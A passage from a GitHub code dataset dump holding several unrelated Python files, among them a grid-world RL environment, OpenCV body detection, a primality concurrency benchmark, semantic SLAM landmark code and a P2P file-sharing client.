end=\"\")\n\nprint(\"\")\nprint(f\"O menor valor digitado foi {menor} nas posições \", end=\"\")\n\nfor indice, valor in enumerate(lista):\n if valor == menor:\n print(f\"{indice}... \", end=\"\")\n\nprint(\"\")\n","repo_name":"SuxPorT/python-exercises","sub_path":"Mundo 3 - Estruturas Compostas/Desafio #078.py","file_name":"Desafio #078.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"33605748593","text":"from django.test import TestCase, RequestFactory\nfrom nose.tools import assert_equal\nfrom mock import Mock\nfrom epflutils.decorators import cache_anonymous_user\nfrom django.contrib.auth.models import AnonymousUser, User\n\n\nclass DecoratorTestCase(TestCase):\n\n def setUp(self):\n self.factory = RequestFactory()\n self.user = AnonymousUser()\n\n def test_cache_anonymous_user(self):\n\n request = self.factory.get(\n '/',\n )\n request.user = self.user\n request.LANGUAGE_CODE = 'fr'\n\n\n request2 = self.factory.get(\n '/',\n )\n request2.user = User.objects.create_user(\n username='jacob', email='jacob', password='top_secret')\n\n request2.LANGUAGE_CODE = 'fr'\n\n homepagedecorator1 = cache_anonymous_user(timeout=60*2, cache='default')(request)\n decorator2 = cache_anonymous_user(timeout=60*2, cache='default')(request2)\n","repo_name":"epfl-si/django-epfl-utils","sub_path":"epflutils/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"40"} +{"seq_id":"72865850039","text":"import cv2\nimport numpy as np\nimport time\n\nface_classifier = cv2.CascadeClassifier('./face/haarcascade_fullbody.xml')\n\ncap = cv2.VideoCapture('./data/vtest.avi') # n번 카메라\n\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)\n\nframe_size = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))\nprint('frame_size : ', frame_size)\n\nif cap.isOpened():\n print('width: {}, height : {}'.format(cap.get(3), cap.get(4)))\nelse:\n print(\"No Camera\")\n\nwhile True:\n start_time = time.time()\n ret, frame = cap.read()\n if ret:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cropped_face=None\n \n bodys = face_classifier.detectMultiScale(gray, 1.3, 5, minSize=(10,10))\n for (x,y,w,h) in bodys:\n cv2.rectangle(frame, (x,y), (x+w,y+h), (0,0,255), 3)\n\n cv2.imshow('video', frame)\n\n if cv2.waitKey(1) == 27: break\n else:\n print('video end')\n break\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"dsy-sw/Software_TIL","sub_path":"06. raspberry pi/video-ex/face/ex04.py","file_name":"ex04.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"74872193399","text":"import turtle\nimport numpy as np\nimport time\n\n#the hole has pull\nclass grid_world_env_stochastic:\n\n def __init__( self, \n height=5, \n width=5, \n init_pos=(0,0), \n end_pos=(-1,-1), \n seed = 1,\n holes=[], \n hole_quantity=5,\n pull_chance = 0.25):\n self.empty = 0\n self.agent = 1\n self.goal = 3\n self.hole = 4\n self.grav = 5\n self.reward = 1 #reward for winning\n self.penalty = 0 #penalty for losing\n self.height = height\n self.width = width\n self.end_pos = end_pos\n self.init_pos = init_pos\n self.x_pos = init_pos[0]\n self.y_pos = init_pos[1]\n self.pull_chance = pull_chance\n self.holes = holes\n self.hole_quantity = hole_quantity\n self.seed_value = seed\n self.square_size = 50\n self.board_turt = turtle.Turtle()\n np.random.seed(int(time.time()))\n\n def seed(self, seed_value):\n self.seed_value = seed_value\n\n def reset(self, init_pos=None):\n if init_pos != None:\n self.init_pos = init_pos\n self.x_pos = init_pos[0]\n self.y_pos = init_pos[1]\n self.grid = np.zeros((2, self.height, self.width)) #[[0] * self.width for _ in range(self.height)] # what if these were 1's for a neural network\n self.grid[1][self.init_pos[1]][self.init_pos[0]] = self.agent\n self.grid[0][self.end_pos[1]][self.end_pos[0]] = self.goal\n if len(self.holes) == 0:\n seed = self.seed_value\n np.random.seed(seed)\n for i in range(self.hole_quantity):\n x_rand = np.random.randint(0, self.width)\n y_rand = np.random.randint(0, self.height)\n while self.grid[0][y_rand][x_rand] != 0:\n x_rand = np.random.randint(0, self.width)\n y_rand = np.random.randint(0, self.height)\n self.holes.append((x_rand, y_rand))\n self.grid[0][y_rand][x_rand] = self.hole\n for delta_x in range(-1, 2, 2):\n if (0 <= (x_rand + delta_x) < self.height) and (self.grid[0][y_rand][x_rand + delta_x] == self.empty):\n self.grid[0][y_rand][x_rand + delta_x] = self.grav\n for delta_y in range(-1, 2, 2):\n if (0 <= (y_rand + delta_y) < self.height) and (self.grid[0][y_rand + delta_y][x_rand] == self.empty):\n self.grid[0][y_rand + delta_y][x_rand] = self.grav\n np.random.seed(int(time.time()))\n else:\n for hole in self.holes:\n self.grid[0][hole[1]][hole[0]] = hole\n for delta_x in range(-1, 2, 2):\n if (0 <= (hole[0] + delta_x) < self.width) and (self.grid[0][hole[1]][hole[0] + delta_x] == self.empty):\n self.grid[0][hole[1]][hole[0] + delta_x] = self.grav\n for delta_y in range(-1, 2, 2):\n if (0 <= (hole[1] + delta_y) < self.height) and (self.grid[0][hole[1] + delta_y][hole[0]] == self.empty):\n self.grid[0][hole[1] + delta_y][x_rand] = self.grav\n\n state = np.ndarray.flatten(self.grid)\n\n return state, 0, False, {}\n\n def step(self, action):\n # 0 -> up\n # 1 -> right\n # 2 -> down\n # 3 -> left\n\n reward = 0\n done = False\n if 0 <= action <= 3:\n\n self.grid[1][self.y_pos][self.x_pos] = self.empty\n \n if (action == 0) and (self.y_pos != 0): #up\n self.y_pos -= 1\n elif (action == 1) and (self.x_pos != (self.width - 1)): #right\n self.x_pos += 1\n elif (action == 2) and (self.y_pos != (self.height - 1)): #down\n self.y_pos += 1\n elif (action == 3) and (self.x_pos != 0): #left\n self.x_pos -= 1\n\n self.grid[1][self.y_pos][self.x_pos] = self.agent\n\n if self.grid[0][self.y_pos][self.x_pos] == self.hole:\n done = True\n reward = self.penalty\n elif self.grid[0][self.y_pos][self.x_pos] == self.goal:\n done = True\n reward = self.reward\n elif self.grid[0][self.y_pos][self.x_pos] == self.grav:\n test = np.random.random()\n if test < self.pull_chance:\n state = []\n info = {}\n pull_direction = -1\n while not done:\n pull_direction += 1\n state, reward, done, info = self.step(pull_direction)\n return state, reward, done, info\n\n state = np.ndarray.flatten(self.grid)\n\n return state, reward, done, {}\n\n def render(self):\n self.board_turt.clear()\n window_height = self.square_size * self.width\n window_width = self.square_size * self.height\n self.board_turt.hideturtle()\n self.board_turt.speed(0)\n self.board_turt.up()\n \n x_start = window_width // -2\n x_end = window_width // 2\n y_start = window_height // 2\n y_end = window_height // -2\n\n for y_pos in range(y_end, y_start + 1, self.square_size):\n self.board_turt.goto(x_start, y_pos)\n self.board_turt.down()\n self.board_turt.goto(x_end, y_pos)\n self.board_turt.up()\n\n for x_pos in range(x_start, x_end + 1, self.square_size):\n self.board_turt.goto(x_pos, y_start)\n self.board_turt.down()\n self.board_turt.goto(x_pos, y_end)\n self.board_turt.up()\n\n\n for y_index in range(self.height):\n y_coord = (y_index * -self.square_size) + y_start\n for x_index in range(self.width):\n if self.grid[0][y_index][x_index] != self.empty:\n x_coord = (x_index * self.square_size) + x_start\n self.board_turt.goto(x_coord, y_coord)\n if self.grid[0][y_index][x_index] == self.hole:\n self.board_turt.color(\"black\")\n elif self.grid[0][y_index][x_index] == self.goal:\n self.board_turt.color(\"red\")\n elif self.grid[0][y_index][x_index] == self.grav:\n self.board_turt.color(\"gray\")\n self.board_turt.down()\n self.board_turt.begin_fill()\n self.board_turt.goto(x_coord + self.square_size, y_coord)\n self.board_turt.goto(x_coord + self.square_size, y_coord - self.square_size)\n self.board_turt.goto(x_coord, y_coord - self.square_size)\n self.board_turt.goto(x_coord, y_coord)\n self.board_turt.end_fill()\n self.board_turt.up()\n\n y_coord = (self.y_pos * -self.square_size) + y_start - self.square_size\n x_coord = (self.x_pos * self.square_size) + x_start + (self.square_size / 2)\n self.board_turt.goto(x_coord, y_coord)\n self.board_turt.color(\"blue\")\n self.board_turt.down()\n self.board_turt.begin_fill()\n self.board_turt.circle(self.square_size / 2)\n self.board_turt.end_fill()\n self.board_turt.up()\n\n def close(self):\n self.board_turt.clear()","repo_name":"jfnaro/grid_world_env","sub_path":"grid_world_env_stochastic.py","file_name":"grid_world_env_stochastic.py","file_ext":"py","file_size_in_byte":7465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"7474843893","text":"# Simple Linear Regession\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Salary_Data.csv')\n\n# Create matrix of features. Taking all cols -1 values\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, 1].values\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)\n\n# Feature scaling\n\"\"\"from sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\"\"\"\n\n# Fitting Simple Linear Regression to the Training Set\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n# Predicting the Test set result\ny_pred = regressor.predict(X_test)\n\n# Visualising the Training set results\n# 1. Plotting using scatter graph\nplt.scatter(X_train, y_train, color = 'red') \n# 2. Here plot X_train data vs Linear Regression Predicted X_train data just for \n# understanding Accuracy of our prediction model\nplt.plot(X_train, regressor.predict(X_train), color = 'blue')\n# Setting the title for Graph\nplt.title('Salary vs Experience(Training set)')\n# Setting label for X and Y axis\nplt.xlabel('Experience in years')\nplt.ylabel('Salary')\n# Finally show the graph\nplt.show()\n\n# Visualising the Test set results\n# 1. Plotting using scatter graph\nplt.scatter(X_test, y_test, color = 'red') \n# 2. Here plot X_train data vs Linear Regression Predicted X_train data just for \n# understanding Accuracy of our prediction model\nplt.plot(X_train, regressor.predict(X_train), color = 'blue')\n# Setting the title for Graph\nplt.title('Salary vs Experience(Test set)')\n# Setting label for X and Y axis\nplt.xlabel('Experience in years')\nplt.ylabel('Salary')\n# Finally show the graph\nplt.show()\n","repo_name":"chethandotcom/machine_learning","sub_path":"scripts/LinearRegression/simple_linear_regression.py","file_name":"simple_linear_regression.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"2642858761","text":"from Tecnicas import Tecnicas\nfrom Personaje import Personaje\nfrom Batalla import Batalla\nimport time\n\nprint(\" ___ _ _ _ __ __ \")\nprint(\" | _ ) __ _ | |_ | |_ | | ___ ___ | \\/ | ___ _ __ ___ \")\nprint(\" | _ \\ / _` | | _| | _| | | / -_) |___| | |\\/| | / -_) | ' \\ / -_) \")\nprint(\" |___/ \\__,_| _\\__| _\\__| _|_|_ \\___| _____ |_|__|_| \\___| |_|_|_| \\___| \")\nprint(\"_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_| |_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"|_|\\\"\\\"\\\"\\\"\\\"| \")\nprint(\"\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\\\"`-0-0-'\")\nprint(\" Welcome\")\n\nm = Batalla()\n\ntime.sleep(3.5)\n\nm.menuEligePersonaje()\n\nsalir = False\n\nwhile salir == False:\n slcP = input()\n if slcP == 1:\n p1 = Personaje(\"ElJefe de PUBG\", 400, 120, 20)\n tecnica1 = Tecnicas(\"Amonestacion\", True, 0.9, 90, 70, None)\n tecnica2 = Tecnicas(\"Esto esta GG\", False, 0, 30, 100, \"efecto de subir 1'25*DMG propio\")\n tecnica3 = Tecnicas(\"5 min para entregar\", True, 0.3, 70, 100, \"efecto de subir 1'25*DMG propio\")\n tecnica4 = Tecnicas(\"Ejercicios\", True, 0.6, 40, 90, None)\n p1.setTecnicas(tecnica1, tecnica2, tecnica3, tecnica4)\n salir = True\n\n elif slcP == 2:\n p1 = Personaje(\"KHANTOSO\", 700, 90, 18)\n tecnica5 = Tecnicas(\"Lanzadurm\", True, 0.8, 90, 80, \"Se cura un 5% de su vida max\")\n tecnica6 = Tecnicas(\"No entregado el CV\", True, 0.6, 40, 100, None)\n tecnica7 = Tecnicas(\"Movil en clase\", False, 0, 70, 75, \"Proximo ataque enemigo no hace efecto\")\n tecnica8 = Tecnicas(\"Tê MàtÖ\", False, 1.5, 60, 30, None)\n p1.setTecnicas(tecnica5, tecnica6, tecnica7, tecnica8)\n salir = True\n\n elif slcP == 3:\n p1 = Personaje(\"Er shico voley\", 400, 250, 22)\n tecnica9 = Tecnicas(\"Remate en la cara\", True, 0.7, 50, 90, None)\n tecnica10 = Tecnicas(\"Soy vegano\", True, 0.4, 60, 100, \"recupera 50 de mana\")\n tecnica11 = Tecnicas(\"Ir a por el balon\", False, 0, 70, 95, \"efecto de bajar 0'7*DMG rival\")\n tecnica12 = Tecnicas(\"Perraco\", True, 1, 120, 85, \"Le sube el ataque y el dinero\")\n p1.setTecnicas(tecnica9, tecnica10, tecnica11, tecnica12)\n salir = True\n\n elif slcP == 4:\n p1 = Personaje(\"Thor-cido\", 550, 111, 30)\n tecnica13 = Tecnicas(\"Puñetazo limpio\", True, 0.8, 60, 90, None)\n tecnica14 = Tecnicas(\"Mirada furtiva\", False, 0, 30, 100, \"efecto de bajar 0'8*DMG rival\")\n tecnica15 = Tecnicas(\"Atropoyamineto\", True, 1.1, 100, 80, None)\n tecnica16 = Tecnicas(\"Grito de guerra\", False, 0, 30, 100, \"efecto de subir 1'5*DMG propio\")\n p1.setTecnicas(tecnica13, tecnica14, tecnica15, tecnica16)\n salir = True\n\nm.menuCombate()","repo_name":"jborras3/Python","sub_path":"Battle/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"28900820321","text":"from scipy import misc, ndimage\nimport os\nimport pickle\nimport numpy as np\ndef store_spectogram():\n images = []\n track_ids = []\n i = 0\n for root, dirnames, filenames in os.walk(\"./images/\"):\n for filename in filenames:\n filepath = os.path.join(root, filename)\n \n track_ids.append(filename[:-4])\n image = ndimage.imread(filepath, mode='RGB') \n image_resized = misc.imresize(image, (64, 120))\n print(\"file\", i, \": track id:\", filepath)\n i += 1\n np.save('./images_matrix/%s' %filename[:-4], image_resized)\n\nif __name__== \"__main__\":\n store_spectogram()","repo_name":"wacero666/deep-learning-project","sub_path":"code/data_preparation/image_array.py","file_name":"image_array.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"21602000195","text":"\"\"\"\nTest comparatif entre différentes méthodes de concurrence.\n\nLes tests sont faits avec un test de primalité, intensif en calcul CPU. On\ns'attend donc à ce que le multi-process soit plus efficace.\n\n@author: Bâr (puis quelques modifs par Dalker)\n@date: mars 2021\n\"\"\"\n\nimport math\nimport time\nimport concurrent.futures\n\n\ndef is_prime(n):\n \"\"\"Retourner vrai si n est premier, faux sinon.\"\"\"\n if n < 1 or n % 1 > 0:\n return False\n if n == 1 or n == 2:\n return True\n for i in range(3, int(math.sqrt(n)) + 1):\n if n % i == 0:\n return False\n return True\n\n\ndef sequentiel():\n \"\"\"Tester primalité de manière séquentielle.\"\"\"\n res = []\n for i in range(len(a)):\n res.append(is_prime(a[i]))\n return res\n\n\ndef future_Threads():\n \"\"\"Tester primalité avec Futures en multi-thread.\"\"\"\n with concurrent.futures.ThreadPoolExecutor() as executor:\n define_calls = (executor.submit(is_prime, i) for i in a)\n res = []\n for future in concurrent.futures.as_completed(define_calls):\n res.append(future.result())\n return res\n\n\ndef future_Processes():\n \"\"\"Tester primalité avec Futures en multi-process.\"\"\"\n with concurrent.futures.ProcessPoolExecutor() as executor:\n define_calls = (executor.submit(is_prime, i) for i in a)\n res = []\n for future in concurrent.futures.as_completed(define_calls):\n res.append(future.result())\n return res\n\n\nif __name__ == \"__main__\":\n # 10 tests sur le même calcul\n a = [67280421310721 for _ in range(10)]\n print(\"\\nVérification 10 fois de la primalité de 67280421310721\")\n for f in [sequentiel,\n future_Threads,\n future_Processes]:\n start = time.time()\n print(\"\\n\", f.__name__, \":\")\n result = zip(a, f())\n # for nb, prime in res:\n # print(nb, prime)\n end = time.time()\n print(\"{:.2f}s\".format(end - start))\n","repo_name":"Dalker/CLP_concurrence","sub_path":"implementation/Python/tests_premiers_simple.py","file_name":"tests_premiers_simple.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"30990568182","text":"import numpy as np\nfrom scipy.spatial.transform import Rotation\n\nbaseline = 0.54 # camera baseline [m]\ncx = 607.1928 # imaimage center in x direction\ncy = 185.2157 # imaimage center in y direction\nW = 1241 # image width\nH = 376 # image height\nfx = 718.856 # focal length of x direction\nfy = 718.856 # focal length of y direction\ncam0_to_cam2 = 0.06 # the distance between cam0(gray) and cam2(color)\n\nLabels_idx = {0:0, 1:1, 2:2, 3:3, 4:5, 5:7} # labels to predict as value, keys are index (for likelihood vector)\n\n\nclass Landmark():\n \"\"\"\n The class of Landmark\n \"\"\"\n\n def __init__(self, world_position, prior):\n self.Pw = world_position\n self.likelihood = prior # likelihood array of all labels\n self.label = int(np.argmax(self.likelihood)) # the most likely label index\n\n def is_same_landmark(self, Pw_new, threshold=2):\n \"\"\"\n Check whether to initialize a new landmark\n Input:\n Pw_new: the world coordinates of the backprojected landmark in a new frame, array of shape (3,)\n threshold: default to be 2 meters (Euclidean distance)\n Ouput:\n boolean: whether to initialize a new landmark\n\n \"\"\"\n dist = np.linalg.norm(self.Pw - Pw_new)\n if dist <= threshold:\n return True, dist\n else:\n return False, dist\n \n def update_likelihood(self, likelihood):\n \"\"\"\n Beyersian update of the label likelihood vector\n \"\"\"\n likelihood = likelihood * self.likelihood\n normalizer = np.sum(likelihood)\n self.likelihood = likelihood / normalizer\n\n\ndef landmark_cal(bb_pairs):\n \"\"\"\n Compute the landmark (bounding box centroid) depth with respect to left camera, centroid, confidence and labels\n Input:\n bb_pairs: a list of bounding box pairs, each pair is a (2, 6) array\n Output:\n depth: a list of depth of the centroid of all the landmarks in left camera frame\n u_rects: a list of all the centroid coordinates u of bounding boxes in left frame\n v_rects: a list of all the centroid coordinates v of bounding boxes in left frame\n confs: a list of confidences of bounding boxes from YOLO\n labels: a list of labels of all bounding boxes\n \"\"\"\n depth = []\n u_rects = []\n v_rects = []\n confs = []\n labels = []\n for bb_pair in bb_pairs:\n bb_l = bb_pair[0, :]\n bb_r = bb_pair[1, :]\n u_l = (bb_l[0] + bb_l[2]) / 2 # only take the disparity on x direction\n u_r = (bb_r[0] + bb_r[2]) / 2\n v_l = (bb_l[1] + bb_l[3]) / 2\n z = fx * (baseline / (u_l - u_r))\n if z < 0 or z > 50:\n continue\n conf = (bb_l[-2] + bb_r[-2]) / 2\n depth.append(z)\n u_rects.append(u_l)\n v_rects.append(v_l) \n confs.append(conf)\n labels.append(int(bb_l[-1]))\n return depth, u_rects, v_rects, confs, labels\n\n\ndef backprojection(R, T, u_rect, v_rect, depth, colorcam=True):\n \"\"\"\n Backproject the pixel in current frame (left camera) to the world frame\n Input:\n R: the rotation matrix of current left camera pose\n T: the translation vector of current left camera pose\n u_rect: the rectified pixel coordinates\n v_rect: the rectified pixel coordinates\n depth: the depth wrt the current left camera frame\n Output:\n Pw = the backprojected coordinates in world frame, (3,) array\n \"\"\"\n K_corr = np.array([[fx, 0, cx], [0, fy, cy], [0, 0, 1]])\n uv = np.array([u_rect, v_rect, 1])\n\n Pc = depth * (np.linalg.inv(K_corr) @ uv)\n Pc_homo = np.append(Pc, [1])\n\n # transformation from camera to world frame\n R_cw = R.T\n T_cw = -R.T @ T \n Trans_cw = np.append(R_cw, T_cw[:, np.newaxis], axis=1)\n Trans_cw = np.append(Trans_cw, np.array([[0, 0, 0, 1]]), axis=0)\n #if colorcam:\n #Trans_c0c2 = np.append(np.identity(3), np.array([-cam0_to_cam2, 0, 0])[:, np.newaxis])\n #Trans_c0c2 = np.append(Trans_c0c2, np.array([[0, 0, 0, 1]]))\n \n\n Pw = np.linalg.inv(Trans_cw) @ Pc_homo\n\n return Pw[:-1]\n\n\ndef likelihood_vector(conf, label):\n \"\"\"\n Build the likelihood vector\n Input:\n conf: the confidence of the likelihood\n Output:\n likelihood: the likelihood vector\n \"\"\"\n likelihood = np.ones(len(Labels_idx))\n likelihood *= (1 - conf) / (len(Labels_idx) - 1)\n likelihood[list(Labels_idx.keys())[list(Labels_idx.values()).index(label)]] = conf\n \n return likelihood\n","repo_name":"orlando21lara/ese650-final-project","sub_path":"semantic_slam/scripts/semantic_process.py","file_name":"semantic_process.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"8848158745","text":"# -*- coding: utf-8 -*-\n\"\"\"Call to action behaviour.\"\"\"\nfrom briefy.plone import _\nfrom plone.autoform.interfaces import IFormFieldProvider\nfrom plone.supermodel import model\nfrom zope import schema\nfrom zope.interface import provider\nfrom zope.schema.vocabulary import SimpleTerm\nfrom zope.schema.vocabulary import SimpleVocabulary\n\n\ncta_types_vocabulary = SimpleVocabulary([\n SimpleTerm('button', 'button', u'button'),\n SimpleTerm('link', 'link', u'link')\n])\n\n\n@provider(IFormFieldProvider)\nclass ICallToAction(model.Schema):\n \"\"\"Behavior interface to add a call to action fieldset to a block.\"\"\"\n\n model.fieldset(\n 'call_to_action',\n label=_(u'Call to Action'),\n fields=[\n 'call_to_action_text',\n 'call_to_action_url',\n 'call_to_action_type'\n ]\n )\n\n call_to_action_text = schema.TextLine(\n title=_(u'Text'),\n description=_(u'Text to be displayed on the call to action.'),\n required=False\n )\n\n call_to_action_url = schema.TextLine(\n title=_(u'URL'),\n description=_(u'.'),\n required=False\n )\n\n call_to_action_type = schema.Choice(\n title=_(u'Type'),\n description=_(u'Call to action type.'),\n vocabulary=cta_types_vocabulary,\n required=False\n )\n","repo_name":"BriefyHQ/briefy.plone","sub_path":"src/briefy/plone/behaviors/call_to_action.py","file_name":"call_to_action.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"4877568101","text":"\"\"\"Problema:Ler a nota de 5 alunos, calcular a media e mostrar essa m�dia e mostrar tamb�m quantos alunos ficaram com a\r\n sua nota igual ou acima da média.\"\"\"\r\n\r\nnotas = []\r\n\r\ncontador = 0\r\nsoma_notas = 0\r\nfor i in range(0,5):\r\n notas.append(int(input(\"digite a %d. nota: \" %(i+1))))\r\n soma_notas = soma_notas + notas[i]\r\n \r\ncalc_media = soma_notas / 5; \r\nfor i in range(0,5): \r\n if (notas[i] >= calc_media):\r\n contador = contador + 1\r\n\r\nprint(\"A media geral foi : %f\",calc_media)\r\nprint(\"%d alunos ficaram com a nota acima da media\"%(contador))\r\n","repo_name":"thiagoviks/Learning-Programming-Languages","sub_path":"Python3/media_vetor.py","file_name":"media_vetor.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"1366526235","text":"import socket\nimport os\nimport threading\nimport json\n\n\nclass P2PClient:\n\n def __init__(self):\n \n ## Inicia as variáveis globais do peer\n self.isDownloading = False\n self.filesList = []\n self.socketServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.serverPort = 12346\n self.addressServer = '127.0.0.1'\n self.socketServer.connect((self.addressServer, self.serverPort))\n self.clientPort = self.socketServer.getsockname()[1]\n self.folderPeer = os.path.join(os.getcwd(), \"p2p\")\n if not os.path.isdir(self.folderPeer):\n os.mkdir(self.folderPeer)\n self.folderPeer = os.path.join(self.folderPeer, str(self.clientPort))\n os.mkdir(self.folderPeer)\n\n def setupClient(self):\n ## Aguarda chamada JOIN do peer ao Server e chama o metodo Join\n while True:\n try:\n print(\"Digite 'JOIN' para iniciar.\")\n entrada = input()\n if entrada == \"JOIN\":\n break\n except Exception as e:\n print(f\"Erro ao ler a entrada: {str(e)}\")\n self.callJoin()\n\n def callJoin(self):\n ## Pega o Path dos arquivos na pasta e envia ao server\n pastaPeer = os.getcwd() + \"/p2p/\" + str(self.socketServer.getsockname()[1])\n pathArquivos = pastaPeer\n message = json.dumps({\"method\": \"JOIN\", \"data\": {\"filesPath\": pathArquivos}})\n self.socketServer.sendall(message.encode())\n\n ## Ao receber o JOIN_OK do server monta a mensagem de JOIN\n if self.socketServer.recv(1024).decode() == \"JOIN_OK\":\n arquivos = os.listdir(pastaPeer)\n arquivosFormatados = ['\"{}\"'.format(item) for item in arquivos]\n arquivosConcatenados = ','.join(arquivosFormatados)\n print(f\"Sou o Peer {self.addressServer}:{self.clientPort} com arquivos: {arquivosConcatenados}\")\n else:\n raise Exception(\"Falha na Conexao! Programa finalizado.\")\n\n def callUpload(self, socket):\n ## Monta o UPLOAD do arquivo \n try:\n request = socket.recv(1024).decode()\n data = json.loads(request)\n filename = data[\"data\"][\"filename\"]\n peer = data[\"data\"][\"port\"]\n\n folder = os.path.join(os.path.join(os.getcwd(), \"p2p\"), str(peer))\n if filename in os.listdir(folder):\n path = os.path.join(folder, filename)\n size = os.path.getsize(path)\n response = {\"status\": \"OK\", \"fileSize\": size}\n socket.send(json.dumps(response).encode())\n self.isDownloading = True\n ## Executa a lógica de aprovar ou não o download de um peer\n while True:\n userInput = input(\"Gostaria de Aprovar o download? (SIM/NAO): \")\n if userInput == \"SIM\":\n response = {\"status\": \"downloadAccepted\"}\n socket.send(json.dumps(response).encode())\n size = os.path.getsize(path)\n with open(path, \"rb\") as file:\n while True:\n data = file.read()\n if not data:\n break\n socket.sendall(data) \n break\n elif userInput == \"NAO\":\n response = {\"status\": \"downloadRejected\"}\n socket.send(json.dumps(response).encode())\n break\n self.isDownloading = False\n else:\n response = {\"status\": \"fileNotFound\"}\n socket.send(json.dumps(response).encode())\n except Exception as e:\n print(f\"Erro ao processar upload: {str(e)}\")\n finally:\n socket.close()\n threading.Thread(target=self.comandosCliente, args=(self.socketServer,)).start()\n\n def handleRequest(self):\n ## Liga com as conexoes com outros peers caso ocorra uma solicitação de download para este peer\n try:\n downloadSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n downloadSocket.bind(('127.0.0.1', self.clientPort))\n downloadSocket.listen(5)\n\n clientSocket, _ = downloadSocket.accept()\n threading.Thread(target=self.callUpload, args=(clientSocket,)).start()\n except Exception as e:\n print(f\"Erro ao processar a solicitação: {str(e)}\")\n\n def getInput(self):\n ## Executa a lógica de aguardar a instrução do usuário ao utilizar o prompt para realizar as ações de SEARCH ou DOWNLOAD\n try:\n while True:\n if not self.isDownloading:\n print(\"Insira algum dos comandos aceitos: \\n - SEARCH \\n - DOWNLOAD \\n\")\n entrada = input().upper()\n\n if entrada == \"SEARCH\":\n entrada = self.callSearch(self.socketServer)\n\n elif entrada == \"DOWNLOAD\":\n self.callDownload(self.socketServer)\n\n threading.Thread(target=self.comandosCliente, args=(self.socketServer,)).start()\n break\n except Exception as e:\n print(f\"Erro ao processar entrada: {str(e)}\")\n\n def comandosCliente(self, serverSocket):\n ## Cria a Thread que aguarda e executa ações com base nos inputs do usuario\n threading.Thread(target=self.getInput).start()\n\n def callDownload(self, serverSocket):\n ## Monta a Requisição de download do arquivo e envia ao outro peer\n try:\n arquivo = input(\"Insira o nome do arquivo que deseja baixar:\\n\")\n endereco_peer_arquivo = int(input(\"Insira a porta do peer a partir do qual deseja baixar o arquivo:\\n\"))\n\n peerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n peerSocket.connect((self.addressServer, endereco_peer_arquivo))\n\n message = '''{{\"method\": \"DOWNLOAD_REQUEST\", \"data\": {{\"filename\": \"{}\", \"port\": {}}}}}'''.format(arquivo,\n endereco_peer_arquivo)\n peerSocket.sendall(message.encode())\n\n response = peerSocket.recv(1024).decode()\n data = json.loads(response)\n\n ## Avalia a resposta do outro peer à solicitação de download\n if data[\"status\"] == \"OK\":\n fileSize = data[\"fileSize\"]\n data = b\"\"\n response = peerSocket.recv(1024).decode()\n data = json.loads(response)\n ## Executa o Download\n if data[\"status\"] == \"downloadAccepted\":\n data = peerSocket.recv(fileSize)\n filePath = os.path.join(self.folderPeer, arquivo)\n with open(filePath, \"wb\") as file:\n file.write(data)\n print(\"“Arquivo \" + arquivo + \"baixado com sucesso na pasta \" + filePath)\n\n ## Envia a pensagem de UPDATE ao server\n arquivos = os.listdir(self.folderPeer)\n arquivos_formatados = ['\"{}\"'.format(item) for item in arquivos]\n arquivos_concatenados = ','.join(arquivos_formatados)\n message = '''{{\"method\": \"UPDATE\", \"data\": {{\"files\": 